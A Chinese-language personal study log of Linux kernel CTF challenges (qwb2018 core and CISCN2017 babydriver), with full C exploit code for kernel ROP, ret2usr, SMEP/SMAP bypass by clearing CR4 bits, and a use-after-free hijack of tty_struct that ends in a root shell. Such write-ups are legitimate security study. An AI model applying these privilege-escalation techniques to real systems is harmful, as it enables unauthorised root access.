刷题记录,可能会非常乱,因为我主要是服务于自己,写的时候大概会主要写自己想要巩固的部分。(我这个人,什么事都只想着自己呢)
qwb2018 core(rop) 内核pwn初体验,非常好玩儿,主要是看着这个复现https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#0x06-Kernel-Heap-Heap-Spraying
首先拿到内核文件系统
毕竟是第一次做,解释一下每个文件
https://zhuanlan.zhihu.com/p/466591309
bzImage是最终生成的内核映像文件,可以理解为压缩后的vmlinux。可以用extract-vmlinux提取vmlinux
vmlinux
是静态编译,未经过压缩的 kernel 文件
内核源码根目录下比较大的vmlinux就是第一次编译链接生成的ELF文件,如果内核开启了调试选项,那么crash工具加载的就是这个vmlinux来获取符号信息等,debug-info包里的就是这个vmlinux
总而言之里面大概是有符号的
如果题目没给vmlinux,一般用extract-vmlinux提取。
跑起来这个内核的参数
这里是文件系统,从start.sh里面可以看到
初始化文件系统为这个文件系统。而这种文件系统看起来一般是压缩包形式的,所以一般可以直接解压缩就可以解出来文件系统。
简单分析 看start.sh,发现有kaslr
注意这里的分配的内存有点小,我们直接跑可能跑不起来,多分配一些即可。
随后解包cpio
1 2 3 4 5 mkdir core cd core mv ../core.cpio core.cpio.gz gunzip ./core.cpio.gz cpio -idmv < ./core.cpio
随后得到文件系统
主要的文件如下
首先看看init,这是首先会执行的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #!/bin/sh mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -s mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx cat /proc/kallsyms > /tmp/kallsyms echo 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict ifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2 insmod /core.ko poweroff -d 120 -f & setsid /bin/cttyhack setuidgid 1000 /bin/sh echo 'sh end!\n' umount /proc umount /sys poweroff -d 0 -f
可以看到
cat /proc/kallsyms > /tmp/kallsyms 这里相当于给你了内核的符号表,因为我们普通用户是没法直接cat /proc/kallsyms的。
poweroff -d 120 -f &是定时关机,直接删掉后重打包
setsid /bin/cttyhack setuidgid 1000 /bin/sh 这里是给你一个初始权限,我们可以本地调试的时候1000改成0,这样就可以直接root模式,也就可以获得text段的地址方便导入符号调试
然后就没啥多的了
gen_cpio.sh是他给你的方便你打包cpio的脚本,直接用就行了
然后就是最重要的core.ko,一般内核题都是分析这玩意。就相当于加入的内核模块的二进制了。
各种sh脚本 gcc编译 1 gcc exp1.c -o exp -static -masm=intel
cpio打包 1 2 3 4 在core目录下 mv ../../exp_dir/exp . 此处exp_dir是我的脚本目录 ./gen_cpio.sh core.cpio mv ../core.cpio .
qemu调试 注意要root,不然remote连接没权限
1 2 3 4 sudo su gdb ./vmlinux -q add-symbol-file ./core.ko {text地址} target remote localhost:1234 start.sh里面默认开了gdb调试选项,直接用
core模块text地址获取 1 2 root模式下 cat /sys/module/core/section/.text
因为有kaslr所以每次关闭后要重来一次
内核模块分析 先checksec,有canary。
拖进ida分析
注册模块的位置
看注册模块的回调函数,也就是看这个proc_create的第四个参数
write,ioctl,release三个函数
core_copy_func
漏洞点位于core_copy_func,可以看到最后的qmencpy的a1是unsigned int16,而前面比较的时候是int64。我们可以构造低16位是正数的64位负数,就可以绕过这里。
core_ioctl
第二个case可以改off
core_read
因为off可控,所以我们可以通过这个把canary泄露出来。偏移是0x40
core_write
这里可以往name里写0x800个字符
功能解析完了,总流程就出来了
首先赋值可控的off,获得canary。然后write rop链到name里面,最后用copy_func的类型转换洞把rop链写到栈上即可完成利用。
用ropper搜索gadget,注意要用解压出来的文件系统里面的那个,根据最上面的解释
1 2 内核源码根目录下比较大的vmlinux就是第一次编译链接生成的ELF文件,如果内核开启了调试选项,那么crash工具加载的就是这个vmlinux来获取符号信息等 ropper --file vmlinux --search "pop|ret" > gadget.txt
然后我们就可以自取所需了
exploit 找好了gadget就可以写脚本了(基本上参考的https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#0x06-Kernel-Heap-Heap-Spraying)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 #include <sys/types.h> #include <stdio.h> #include <pthread.h> #include <errno.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <signal.h> #include <poll.h> #include <string.h> #include <stdint.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <sys/sem.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/wait.h> #include <semaphore.h> #include <poll.h> #include <sched.h> size_t prepare_kernel_cred=0 ,commit_creds=0 ;size_t user_cs, user_ss, user_rflags, user_sp;void save_status () { asm volatile ( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ) ; puts ("\033[34m\033[1m[*] Status has been saved.\033[0m" ); } void get_root_privilige (size_t prepare_kernel_cred, size_t commit_creds) { void *(*prepare_kernel_cred_ptr)(void *) = (void *(*)(void *)) prepare_kernel_cred; int (*commit_creds_ptr)(void *) = (int (*)(void *)) commit_creds; (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL )); } void get_root_shell (void ) { if (getuid()) { puts ("\033[31m\033[1m[x] Failed to get the root!\033[0m" ); exit (-1 ); } puts ("\033[32m\033[1m" "[+] Successful to get the root. Execve root shell now..." "\033[0m" ); system("/bin/sh" ); } void core_read (int fd,char *buf) { puts ("\033[34m\033[1m[*] core_read\033[0m" ); ioctl(fd, 0x6677889B , buf); } void set_off_val (int fd,size_t off) { puts ("\033[34m\033[1m[*] set_off_val\033[0m" ); ioctl(fd, 0x6677889C , off); } void core_copy (int fd,size_t nbytes) { puts ("\033[34m\033[1m[*] core_copy\033[0m" ); ioctl(fd, 0x6677889A , nbytes); } int main (int argc, char ** argv) { int fd; FILE* ksyms_file; char buf[0x50 ],type[0x10 ]; size_t addr; size_t offset,canary; puts ("\033[34m\033[1m[*] Start to exploit...\033[0m" ); save_status(); fd = open("/proc/core" ,2 ); if (fd<0 ){ puts ("\033[31m\033[1m[-] Open device failed.\033[0m" ); return -1 ; } ksyms_file = fopen("/tmp/kallsyms" ,"r" ); if (ksyms_file == NULL ){ puts ("\033[31m\033[1m[-] Open kallsyms failed.\033[0m" ); return -1 ; } while (fscanf (ksyms_file,"%lx%s%s" ,&addr,type,buf) != EOF){ if (prepare_kernel_cred && commit_creds) { break ; } if (!commit_creds && !strcmp (buf, "commit_creds" )) { commit_creds = addr; printf ("\033[32m\033[1m" "[+] Successful to get the addr of commit_cread:" "\033[0m%lx\n" , commit_creds); continue ; } if (!strcmp (buf, "prepare_kernel_cred" )) { prepare_kernel_cred = addr; printf ("\033[32m\033[1m" "[+] Successful to get the addr of prepare_kernel_cred:" "\033[0m%lx\n" , prepare_kernel_cred); continue ; } } offset = commit_creds - 0xffffffff8109c8e0 ; printf ("\033[32m\033[1m" "[+] The offset is:\033[0m%lx\n" , offset); set_off_val(fd,64 ); core_read(fd,buf); canary = ((size_t *)buf)[0 ]; printf ("\033[32m\033[1m" "[+] The canary is:\033[0m%lx\n" , canary); size_t rop[0x1000 ] = {0 }; int i; rop[0 ] = 0 ; for (i=1 ;i<9 ;i++){ rop[i] = 0 ; } rop[8 ] = canary; rop[i++] = 0 ; rop[i++] = 0xffffffff81000b2f + offset; rop[i++] = 0 ; rop[i++] = prepare_kernel_cred; rop[i++] = 0xffffffff810a0f49 + offset; rop[i++] = 0xffffffff81021e53 + offset; rop[i++] = 0xffffffff8101aa6a + offset; rop[i++] = commit_creds; rop[i++] = 0xffffffff81a012da + offset; rop[i++] = 0 ; rop[i++] = 0xffffffff81050ac2 + offset; rop[i++] = (size_t )get_root_shell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; write(fd,rop,0x800 ); core_copy(fd,0xffffffffffff0000 | (0x100 )); }
一步步解释
保存用户态参数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 size_t user_cs, user_ss, user_rflags, user_sp;void save_status () { asm volatile ( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ) ; puts ("\033[34m\033[1m[*] Status has been saved.\033[0m" ); } save_status()
用户态进入内核态,固定板子。
获取关键函数地址和vmbase的偏移 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 ksyms_file = fopen("/tmp/kallsyms" ,"r" ); if (ksyms_file == NULL ){ puts ("\033[31m\033[1m[-] Open kallsyms failed.\033[0m" ); return -1 ; } while (fscanf (ksyms_file,"%lx%s%s" ,&addr,type,buf) != EOF){ if (prepare_kernel_cred && commit_creds) { break ; } if (!commit_creds && !strcmp (buf, "commit_creds" )) { commit_creds = addr; printf ("\033[32m\033[1m" "[+] Successful to get the addr of commit_cread:" "\033[0m%lx\n" , commit_creds); continue ; } if (!strcmp (buf, "prepare_kernel_cred" )) { prepare_kernel_cred = addr; printf ("\033[32m\033[1m" "[+] Successful to get the addr of prepare_kernel_cred:" "\033[0m%lx\n" , prepare_kernel_cred); continue ; } }
这里是因为本题把内核符号表给我们了,我们可以通过读取这个位置(init.sh里写了)的kallsyms来获取内核中函数的地址。找到我们需要的prepare_kernel_cred和commit_creds
又因为我们是有vmlinux的,我们可以在其中找到这俩函数相对基址的偏移。找到偏移后我们就可以通过读取的commit_creds地址获取vmbase相对于默认地址的偏移。
1 2 3 offset = commit_creds - 0xffffffff8109c8e0 = commit_creds - (0xffffffff81000000 + 0x9c8e0) vmbase默认基址 commit_creds相对vmlinux基址的偏移
我们需要获取基址才能通过偏移去找到对应的gadget,所以这一步是必不可少的。
获取canary 获取canary如下
1 2 3 set_off_val(fd,64 ); core_read(fd,buf); canary = ((size_t *)buf)[0 ];
首先把off设置为0x40,就是栈上canary的偏移,前面解释了不细谈。然后read出来后赋值
构造rop链 填充canary,在0x40的位置,可以通过调试得知也可以通过代码
比较有意思的是,用户栈的canary是fs:0x28,而内核的是gs:0x28
然后构造commit_creds(prepare_kernel_cred(NULL))
构造完就是经典的内核回用户的填充栈。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 rop[i++] = 0xffffffff81000b2f + offset; rop[i++] = 0 ; rop[i++] = prepare_kernel_cred; =========== * prepare_kernel_cred(0 ) =========== rop[i++] = 0xffffffff810a0f49 + offset; rop[i++] = 0xffffffff81021e53 + offset; =========== * 这个pop rcx;ret只是弹栈而已,因为执行call rdx的时候会往栈里push一个地址,需要弹出来 =========== rop[i++] = 0xffffffff8101aa6a + offset; rop[i++] = commit_creds; =========== * commit_creds(prepare_kernel_cred(0 )) =========== rop[i++] = 0xffffffff81a012da + offset; rop[i++] = 0 ; rop[i++] = 0xffffffff81050ac2 + offset; =========== * 回到用户态的固定板子 =========== rop[i++] = (size_t )get_root_shell; =========== * userip的位置,相当于回到用户态后直接跳到这里执行 =========== rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss;
开打 1 2 write(fd,rop,0x800); core_copy(fd,0xffffffffffff0000 | (0x100));
然后就可以root了
第一次写详细一些,后面简单写了.
qwb2018 core(ret2usr) 比rop简单,因为没开启SMAP/SMEP保护的情况下内核空间可以执行用户空间的数据,所以我们可以以内核的权限执行用户空间的代码。和上面的相比就是,可以获取俩关键函数的地址后直接调用,然后再跳会用户态,不用找很久gadget然后布局栈执行那俩函数。
代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #define POP_RDI_RET 0xffffffff81000b2f #define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a #define POP_RDX_RET 0xffffffff810a0f49 #define POP_RCX_RET 0xffffffff81021e53 #define SWAPGS_POPFQ_RET 0xffffffff81a012da #define IRETQ 0xffffffff813eb448 size_t commit_creds = NULL , prepare_kernel_cred = NULL ;size_t user_cs, user_ss, user_rflags, user_sp;.............. 省略重复部分 .............. void getRootPrivilige (void ) { void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred; int (*commit_creds_ptr)(void *) = commit_creds; (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL )); } size_t rop_chain[0x100 ], i = 0 ; for (; i < 10 ;i++) rop_chain[i] = canary; rop_chain[i++] = (size_t )getRootPrivilige; rop_chain[i++] = SWAPGS_POPFQ_RET + offset; rop_chain[i++] = 0 ; rop_chain[i++] = IRETQ + offset; rop_chain[i++] = (size_t )getRootShell; rop_chain[i++] = user_cs; rop_chain[i++] = user_rflags; rop_chain[i++] = user_sp; rop_chain[i++] = user_ss; write(fd, rop_chain, 0x800 ); coreCopyFunc(fd, 0xffffffffffff0000 | (0x100 )); }
qwb2018 core(ret2usr with SMAP/SMEP BYPASS) 开了smap和smep后,需要多一步才能ret2usr。
SMEP :位于Cr4的第20位,作用是让处于内核权限的CPU无法执行用户代码。 SMAP :位于Cr4的第21位,作用是让处于内核权限的CPU无法读写用户代码。
绕过的方法就是把cr4的对应的这俩位给变成0.多找几个gadget就行了
代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 size_t rop_chain[0x100 ], i = 0 ; for (; i < 10 ;i++) rop_chain[i] = canary; rop_chain[i++] = MOV_RAX_CR4_ADD_RSP_8_POP_RBP_RET + offset; rop_chain[i++] = *(size_t *) "arttnba3" ; rop_chain[i++] = *(size_t *) "arttnba3" ; rop_chain[i++] = POP_RDI_RET + offset; rop_chain[i++] = 0xffffffffffcfffff ; rop_chain[i++] = AND_RAX_RDI_RET + offset; rop_chain[i++] = MOV_CR4_RAX_PUSH_RCX_POPFQ_RET + offset; rop_chain[i++] = (size_t )getRootPrivilige; rop_chain[i++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 22 + offset; rop_chain[i++] = *(size_t *) "arttnba3" ; rop_chain[i++] = *(size_t *) "arttnba3" ; rop_chain[i++] = (size_t )getRootShell; rop_chain[i++] = user_cs; rop_chain[i++] = user_rflags; rop_chain[i++] = user_sp; rop_chain[i++] = user_ss; write(fd, rop_chain, 0x800 ); coreCopyFunc(fd, 0xffffffffffff0000 | (0x100 ));
也不难,感觉不如rop。由于之后的cpu基本开了kpti,内核页表的用户地址空间无执行权限,所以我们没法在内核空间执行用户空间代码。ret2usr也就是寄了。但是原理学一下也不是坏事。
CISCN2017babydriver(uaf) 第一次做kernel的uaf。内核堆和用户态的堆区别还是蛮大的。学学学。
内核的堆内存主要指的是线性映射区,常见的分配函数kmalloc从这里分配内存,常用的分配器为slub。slub分配器的结构得多看啊多看。滚瓜烂熟。
本题的漏洞点比较明显
release函数free完后没有清0,导致可以进行uaf。
open函数会打开一个64byte size的堆,放到这个babydev_struct的全局变量里
ioctl函数可以改变这个全局变量的堆的size,相当于重新分配一个堆,size是我们传入的参数
read和write就正常read和write
分析 这里只有一个设备,还是全局的,babydev。如果我们连续open两次的话,后一个kmalloc出来的chunk指针会覆盖前一个,导致两个指针指向同一个设备的chunk。如果free掉一个,另一个还是能指向这个被free了的没有清空的chunk。实现一个uaf。由于本题开了smep,所以没法直接ret2usr,得改cr4.也就是多一步找cr4相关的gadget。由于没开smap,所以我们可以在用户栈布置rop链。
又因为我们需要将栈迁移到我们构造rop链的地址,所以我们需要一个mov esp的gadget,来让我们的rsp设置到rop链的位置,从而执行我们的rop链上的函数。
本题用tty_struct作为victim object,在/dev下有个伪终端ptmx,我们打开这个设备的时候内核会创建一个tty_struct结构体,这个结构体存在一个存放函数指针的结构体tty_operations。所以我们这里首先打开ptmx终端,然后用uaf劫持该终端的tty_operations里的write函数。劫持该函数的原因是write很容易触发。将write函数劫持后执行我们的rop链上的函数。当然在这之前先栈迁移到rop上。
代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #define POP_RDI_RET 0xffffffff810d238d #define POP_RAX_RET 0xffffffff8100ce6e #define MOV_CR4_RDI_POP_RBP_RET 0xffffffff81004d80 #define MOV_RSP_RAX_DEC_EBX_RET 0xffffffff8181bfc5 #define SWAPGS_POP_RBP_RET 0xffffffff81063694 #define IRETQ_RET 0xffffffff814e35ef #define RET 0xffffffff81063637 #define USER_RET 0x000000000040101A size_t commit_creds = NULL , prepare_kernel_cred = NULL ;size_t user_cs, user_ss, user_rflags, user_sp;void saveStatus () { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); printf ("\033[34m\033[1m[*] Status has been saved.\033[0m\n" ); } void getRootPrivilige (void ) { void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred; int (*commit_creds_ptr)(void *) = commit_creds; (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL )); } void getRootShell (void ) { if (getuid ()) { printf ("\033[31m\033[1m[x] Failed to get the root!\033[0m\n" ); exit (-1 ); } printf ("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n" ); system ("/bin/sh" ); } int main (void ) { printf ("\033[34m\033[1m[*] Start to exploit...\033[0m\n" ); saveStatus (); FILE* sym_table_fd = fopen ("/proc/kallsyms" , "r" ); if (sym_table_fd < 0 ) { printf ("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n" ); exit (-1 ); } char buf[0x50 ], type[0x10 ]; size_t addr; while (fscanf (sym_table_fd, "%llx%s%s" , &addr, type, buf)) { if (prepare_kernel_cred && commit_creds) break ; if (!commit_creds && !strcmp (buf, "commit_creds" )) { commit_creds = addr; printf ("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n" , commit_creds); continue ; } if (!strcmp (buf, "prepare_kernel_cred" )) { prepare_kernel_cred = addr; printf ("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n" , prepare_kernel_cred); continue ; } } size_t rop[0x20 ], p = 0 ; rop[p++] = POP_RDI_RET; rop[p++] = 0x6f0 ; rop[p++] = MOV_CR4_RDI_POP_RBP_RET; rop[p++] = 0 ; rop[p++] = getRootPrivilige; rop[p++] = SWAPGS_POP_RBP_RET; rop[p++] = 0 ; rop[p++] = IRETQ_RET; rop[p++] = getRootShell; rop[p++] = user_cs; rop[p++] = user_rflags; rop[p++] = user_sp + 8 ; rop[p++] = user_ss; size_t fake_op[0x30 ]; for (int i = 0 ; i < 0x10 ; i++) fake_op[i] = MOV_RSP_RAX_DEC_EBX_RET; fake_op[0 ] = POP_RAX_RET; fake_op[1 ] = rop; int fd1 = open ("/dev/babydev" , 2 ); int fd2 = open ("/dev/babydev" , 2 ); ioctl (fd1, 0x10001 , 0x2e0 ); close (fd1); size_t fake_tty[0x20 ]; printf ("\033[34m\033[1m[*] Start to fake the tty_struct:%llx\033[0m\n " , fake_tty); int fd3 = open ("/dev/ptmx" , 2 ); read (fd2, fake_tty, 0x40 ); fake_tty[3 ] = fake_op; printf ("\033[32m\033[1m[+] fake_op:%llx \033[0m\n" ,fake_op); write (fd2, fake_tty, 0x40 ); write (fd3, buf, 0x8 ); return 0 ; }
流程如下:
首先open两次babydev,让后一次覆盖前一次,且两个都指向同一个chunk。随后ioctl改变size为0x2e0,也就是当前版本tty_struct结构体的size。随后free掉。free完后打开ptmx,将刚刚free完的chunk分配给ptmx。然后read前几位,只要保证read的数大于那个operations的size就可以。然后我们将构造好的fake_op覆盖对应的tty_operations
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 struct tty_struct { int magic; struct kref kref; struct device *dev; struct tty_driver *driver; const struct tty_operations *ops; < -------------------------- 这里 int index; struct ld_semaphore ldisc_sem; struct tty_ldisc *ldisc; struct mutex atomic_write_lock; struct mutex legacy_mutex; struct mutex throttle_mutex; struct rw_semaphore termios_rwsem; struct mutex winsize_mutex; spinlock_t ctrl_lock; spinlock_t flow_lock; struct ktermios termios, termios_locked; struct termiox *termiox; char name[64 ]; struct pid *pgrp; struct pid *session; unsigned long flags; int count; struct winsize winsize; unsigned long stopped:1 , flow_stopped:1 , unused:BITS_PER_LONG - 2 ; int hw_stopped; unsigned long ctrl_status:8 , packet:1 , unused_ctrl:BITS_PER_LONG - 9 ; unsigned int receive_room; int flow_change; struct tty_struct *link; struct fasync_struct *fasync; wait_queue_head_t write_wait; wait_queue_head_t read_wait; struct work_struct hangup_work; void *disc_data; void *driver_data; spinlock_t files_lock; struct list_head tty_files; #define N_TTY_BUF_SIZE 4096 int closing; unsigned char *write_buf; int write_cnt; struct work_struct SAK_work; struct tty_port *port; } __randomize_layout;
覆盖完后write回去。最后再对ptmx进行write调用。此时会先去tty_operations,也就是我们已经用fake_op覆盖的位置,找到偏移为8的write函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 struct tty_operations { struct tty_struct * (*lookup)(struct tty_driver *driver, struct file *filp, int idx); int (*install)(struct tty_driver *driver, struct tty_struct *tty); void (*remove)(struct tty_driver *driver, struct tty_struct *tty); int (*open)(struct tty_struct * tty, struct file * filp); void (*close)(struct tty_struct * tty, struct file * filp); void (*shutdown)(struct tty_struct *tty); void (*cleanup)(struct tty_struct *tty); int (*write)(struct tty_struct * tty, const unsigned char *buf, int count); < -------------------------- 这里 int (*put_char)(struct tty_struct *tty, unsigned char ch); void (*flush_chars)(struct tty_struct *tty); int (*write_room)(struct tty_struct *tty); int (*chars_in_buffer)(struct tty_struct *tty); int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); long (*compat_ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); void (*set_termios)(struct tty_struct *tty, struct ktermios * old); void (*throttle)(struct tty_struct * tty); void (*unthrottle)(struct tty_struct * tty); void (*stop)(struct tty_struct *tty); void (*start)(struct tty_struct *tty); void (*hangup)(struct tty_struct *tty); int (*break_ctl)(struct tty_struct *tty, int state); void (*flush_buffer)(struct tty_struct *tty); void (*set_ldisc)(struct tty_struct *tty); void (*wait_until_sent)(struct tty_struct *tty, int timeout); void (*send_xchar)(struct tty_struct *tty, char ch); int (*tiocmget)(struct tty_struct *tty); int (*tiocmset)(struct tty_struct *tty, unsigned int set, unsigned int clear); int (*resize)(struct tty_struct *tty, struct winsize *ws); int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew); int (*get_icount)(struct tty_struct *tty, struct serial_icounter_struct *icount); void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m); #ifdef CONFIG_CONSOLE_POLL int (*poll_init)(struct tty_driver *driver, int line, char *options); int (*poll_get_char)(struct tty_driver *driver, int line); void (*poll_put_char)(struct tty_driver *driver, int line, char ch); #endif int (*proc_show)(struct seq_file *, void *); } __randomize_layout;
因为此时栈还在内核,所以我们需要在偏移为8的这个位置把栈迁移到用户栈的可控位置。我们布置一个mov esp,rax的gadget在这个位置。原因是调试的时候发现执行write时rax存放的就是我们fake_op的首地址。迁移完后栈还需要抬一位(调试可知)才能到我们的最开始的rop链的函数,所以我们随便选一个pop rax ret的gadget即可。执行完后就是正常构造rop链了。